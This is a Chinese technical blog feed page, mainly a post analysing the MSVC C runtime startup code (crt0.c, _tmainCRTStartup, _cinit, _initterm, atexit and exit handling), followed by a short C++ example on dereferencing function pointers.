意思是说,对于静态的类对象,C++没有明确规定构造函数和析构函数的调用顺序,也就是你在使用这个静态对象的时候可能还没有初始化或者已经析构了。而对于POD类型,就是用了上面填充0的方式进行初始化,且不存在析构一说。

关于这一点,网上的资料不是很多,也说得不是很清楚。

6. 参考资料
在c++中使用指向数组的引用
POD (程序设计)
Google C++ Style Guide \ Static and Global Variables


本博客很少转载他人文章,如未特别标明,均为原创,转载请注明出处:
本文出自程序人生 >> Chrome源码阅读之basictypes.h
作者:代码疯子

MSVC CRT运行库启动代码分析

$
0
0

在程序进入main/WinMain函数之前,需要先进行C运行库的初始化操作,通过在Visual Studio中调试,通过栈回溯可以找到位于crt0.c中的_tmainCRTStartup函数,这个函数负责进行一些初始化操作,_tmainCRTStartup的上一层调用来自kernel32.dll。这里简单分析一下crt0.c的代码。

实际上,C运行库代码又有两个版本,如果是静态编译的话代码位于crt0.c之中,如果是动态编译的话代码位于crtexe.c之中,这里可以通过项目属性的“配置属性”——“C/C++”——“代码生成”——“运行库”的MT和MD进行设置。

根据工程的类型的不同(Win32工程和Console工程),以及工程编码的不同(Unicode与多字节),实际的入口函数会有四种不同的可能,_tmainCRTStartup被设置为一个红,根据工程的设置,实际的名字选取其中的一种:

#ifdef _WINMAIN_
 
#ifdef WPRFLAG
#define _tmainCRTStartup    wWinMainCRTStartup
#else  /* WPRFLAG */
#define _tmainCRTStartup    WinMainCRTStartup
#endif  /* WPRFLAG */
 
#else  /* _WINMAIN_ */
 
#ifdef WPRFLAG
#define _tmainCRTStartup    wmainCRTStartup
#else  /* WPRFLAG */
#define _tmainCRTStartup    mainCRTStartup
#endif  /* WPRFLAG */
 
#endif  /* _WINMAIN_ */

_tmainCRTStartup实际上是__tmainCRTStartup的一个包装函数,在调用后者之前,对cookie进行了初始化操作,如果设置了/GS选项的话,在函数调用过程中,建立栈帧的时候会设置一个cookie,函数返回之前会校验cookie是否一致,简单的判断是否发出缓冲区溢出。

int
_tmainCRTStartup(
        void
        )
{
        __security_init_cookie();
 
        return __tmainCRTStartup();
}

我的测试环境是Visual Studio 2010,__tmainCRTStartup函数的代码感觉和VC6的还是有一定差距的,《C++反汇编与逆向分析》和《程序员的自我修养》都是以VC6的代码作为例子讲解的。__tmainCRTStartup的基本流程为:堆初始化、多线程初始化、IO初始化、命令行参数解析、环境变量参数解析、全局数据和浮点数寄存器初始化、main函数调用、返回。分析如下:

int
__tmainCRTStartup(
         void
         )
{
        int initret;
        int mainret=0;
        int managedapp;
#ifdef _WINMAIN_
        _TUCHAR *lpszCommandLine;
        STARTUPINFOW StartupInfo;
 
        GetStartupInfoW( &StartupInfo );
#endif  /* _WINMAIN_ */
 
#ifdef _M_IX86
        // 对于32位程序,设置为如果检测到堆败坏则则自动结束进程
        // 64位程序默认就设置了这个行为
        if (!_NoHeapEnableTerminationOnCorruption)
        {
            HeapSetInformation(NULL, HeapEnableTerminationOnCorruption, NULL, 0);
        }
#endif  /* _M_IX86 */
 
        // 检测PE头中的标志
        managedapp = check_managed_app();
        // ======================================================
        // 堆初始化操作
        // 对于32位程序而言,_heap_init通过CreateHeap创建一个堆
        // ======================================================
        if ( !_heap_init() )                /* initialize heap */
            fast_error_exit(_RT_HEAPINIT);  /* write message and die */
        // 初始化多线程环境,暂时不做分析
        if( !_mtinit() )                    /* initialize multi-thread */
            fast_error_exit(_RT_THREAD);    /* write message and die */
 
        _CrtSetCheckCount(TRUE);
 
#ifdef _RTC
        _RTC_Initialize();
#endif  /* _RTC */
 
        __try {
            // I/O初始化,暂时不做分析
            if ( _ioinit() < 0 )            /* initialize lowio */
                _amsg_exit(_RT_LOWIOINIT);
            // 获取命令行参数
            /* get wide cmd line info */
            _tcmdln = (_TSCHAR *)GetCommandLineT();
            // 获取环境变量参数
            _tenvptr = (_TSCHAR *)GetEnvironmentStringsT();
            // 解析并设置命令行参数
            if ( _tsetargv() < 0 )
                _amsg_exit(_RT_SPACEARG);
            // 解析并设置环境变量参数
            if ( _tsetenvp() < 0 )
                _amsg_exit(_RT_SPACEENV);
            // 初始化全局数据和浮点寄存器
            initret = _cinit(TRUE);                  /* do C data initialize */
            if (initret != 0)
                _amsg_exit(initret);
            // 进入(w)WinMain或者(w)main函数
#ifdef _WINMAIN_
            lpszCommandLine = _twincmdln();
            mainret = _tWinMain( (HINSTANCE)&__ImageBase,
                                 NULL,
                                 lpszCommandLine,
                                 StartupInfo.dwFlags & STARTF_USESHOWWINDOW
                                      ? StartupInfo.wShowWindow
                                      : SW_SHOWDEFAULT
                                );
#else  /* _WINMAIN_ */
            _tinitenv = _tenviron;
            mainret = _tmain(__argc, _targv, _tenviron);
#endif  /* _WINMAIN_ */
 
            if ( !managedapp )
                exit(mainret);
 
            _cexit();
 
        }
        // 异常处理
        __except ( _XcptFilter(GetExceptionCode(), GetExceptionInformation()) )
        {
            /*
             * Should never reach here
             */
 
            mainret = GetExceptionCode();
 
            if ( !managedapp )
                _exit(mainret);
 
            _c_exit();
 
        } /* end of try - except */
 
        return mainret;
}

下面分析一下_cinit函数。阉割之后的代码大致是这样的:

int __cdecl _cinit (
        int initFloatingPrecision
        )
{
	int initret;
	// 浮点寄存器初始化
	if (_FPinit != NULL &&
		_IsNonwritableInCurrentImage((PBYTE)&_FPinit))
	{
		(*_FPinit)(initFloatingPrecision);
	}
 
	// C语言数据初始化
	initret = _initterm_e( __xi_a, __xi_z );
	if ( initret != 0 )
		return initret;
 
	// C++数据初始化
	_initterm( __xc_a, __xc_z );
 
	return 0;
}

首先进行浮点寄存器初始化操作,之后进行C语言数据初始化和C++数据初始化。_initterm_e函数和_initterm函数的代码差不多,差别不过是一个返回void,一个返回int。

typedef void (__cdecl *_PVFV)(void);
 
void __cdecl _initterm (
    _PVFV * pfbegin,
    _PVFV * pfend
    )
{
    while ( pfbegin < pfend )
    {
        if ( *pfbegin != NULL )
            (**pfbegin)();
        ++pfbegin;
    }
}

_PVFV是一个函数指针类型,_initterm就是遍历pfbegin到pfend(不包括pfend)之间不为NULL的函数指针并进行调用。C++全局类的构造函数就是在这个地方进行调用的,编译器会对注册函数进行预处理,填充到pfbegin和pfend之间的指针。在调用函数的时候,进行了两次解引用操作:(**pfbegin)()。这里只解引用一次就够了,或者如果你愿意,解引用N次也行:(***************pfbegin)()。对于C++全局类,调用(**pfbegin)()在调用构造函数的同时,通过atexit函数对析构函数进行了注册,使得在main返回之后析构函数能够调用:

int __cdecl atexit (
	_PVFV func
	)
{
	return (_onexit((_onexit_t)func) == NULL) ? -1 : 0;
}

析构函数的调用将程序退出之前:

void __cdecl exit (
	int code
	)
{
	doexit(code, 0, 0); /* full term, kill process */
}
 
static void __cdecl doexit (
	int code,
	int quick,
	int retcaller
	)
{
	// ......部分代码省略
	_initterm(__xp_a, __xp_z);
 
	// ......部分代码省略
	_initterm(__xt_a, __xt_z);
 
	// ......部分代码省略
	__crtExitProcess(code);
 
	// ......部分代码省略
}

可以看到,还是通过调用_initterm来执行析构函数相关的代码。

关于函数指针解引用,由编译器隐式转换成指向函数的指针。所以无论进行多少次解引用都可以,不解引用也可以。

#include <stdio.h>
 
typedef void (__cdecl *FN)(void);
 
void TestFun()
{
	printf("TestFun()\n");
}
 
int main(int argc, char **argv)
{
	FN pFn = reinterpret_cast<FN>(TestFun);
	printf("%08X\n", pFn);
	printf("%08X\n", *pFn);
	printf("%08X\n", **pFn);
	pFn();    // 不解引用,直接使用函数指针
 
	return 0;
}

输出如下:
函数指针解引用


本博客很少转载他人文章,如未特别标明,均为原创,转载请注明出处:
本文出自程序人生 >> MSVC CRT运行库启动代码分析
作者:代码疯子

Viewing all 59 articles
Browse latest View live